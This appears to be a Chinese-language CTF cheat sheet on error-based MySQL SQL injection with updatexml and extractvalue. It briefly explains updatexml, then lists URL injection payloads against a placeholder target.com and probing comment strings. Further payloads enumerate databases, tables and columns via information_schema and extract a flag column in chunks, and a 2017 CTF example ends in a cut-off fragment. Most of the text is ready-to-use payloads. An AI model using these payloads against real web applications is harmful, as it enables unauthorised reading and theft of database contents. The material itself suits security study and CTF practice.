关于 updatexml 函数
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
1 2 3
| http://www.target.com/index.php?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) http://www.target.com/index.php?id=updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) http://www.target.com/index.php?id=updatexml(1,concat(0x7e,SUBSTR((SELECT @@version),1,24),0x7e),1)
|
另外,updatexml最多只能显示32位,需要配合SUBSTR
使用。
1 2 3
| updatexml(1,concat(0x7e,SUBSTR((SELECT f14g from f14g LIMIT 0,1),1,24),0x7e),1) updatexml(1,concat(0x7e,(select substring(f14g,20) from f14g limit 0,1),0x7e),1) extractvalue(0x0a,concat(0x0a,(select database())))
|
试探性 payloads
记得可以试试带上注释"-- "
,注意注释符是含空格的。
1 2 3 4 5 6 7
| -- -- -- -- - -- - -- - --
|
后期payload
1 2 3 4 5
| 1 && extractvalue(0x0a,concat(0x0a,(select database())))# 1 && extractvalue(0x0a,concat(0x0a,(select table_name from information_schema.tables limit 0,1)))# 1 && extractvalue(0x0a,concat(0x0a,(select column_name from information_schema.columns limit 0,1)))# 1 && extractvalue(0x0a,concat(0x0a,(select substr(f14g,1,32) from f14g)))# 1 && extractvalue(0x0a,concat(0x0a,(select substr(f14g,15,32) from f14g)))#
|
MySQL 信息收集
注入payload参考指南
http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
注意 WHERE 的限制 即可以用=
也可以用LIKE
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| # MySQL版本 SELECT @@version # 用户 SELECT user() # 数据库 SELECT database() # 表名 SELECT table_name FROM information_schema.tables LIMIT 0,1 SELECT table_name FROM information_schema.tables WHERE table_schema="words" LIMIT 0,1 SELECT table_name FROM information_schema.tables WHERE table_schema LIKE "%words%" LIMIT 0,1 SELECT table_name FROM information_schema.tables LIMIT 81,1 # 列名 SELECT column_name FROM information_schema.columns WHERE table_name="f14g" LIMIT 0,1 SELECT column_name FROM information_schema.columns WHERE table_name LIKE "f14g" LIMIT 0,1 SELECT column_name FROM information_schema.columns LIMIT 808,1 # 查数据 SELECT f14g from f14g LIMIT 0,1 # 关键payload updatexml(1,concat(0x7e,SUBSTR((SELECT f14g from f14g LIMIT 0,1),1,24),0x7e),1)
|
案例 东华 永信至诚 2017 CTF题
SOME WORDS 100pt
1 2 3
| select updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1); select updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1); http:
|
调整关键字
1 2 3
| id=WHERE id=SELECT id=AND
|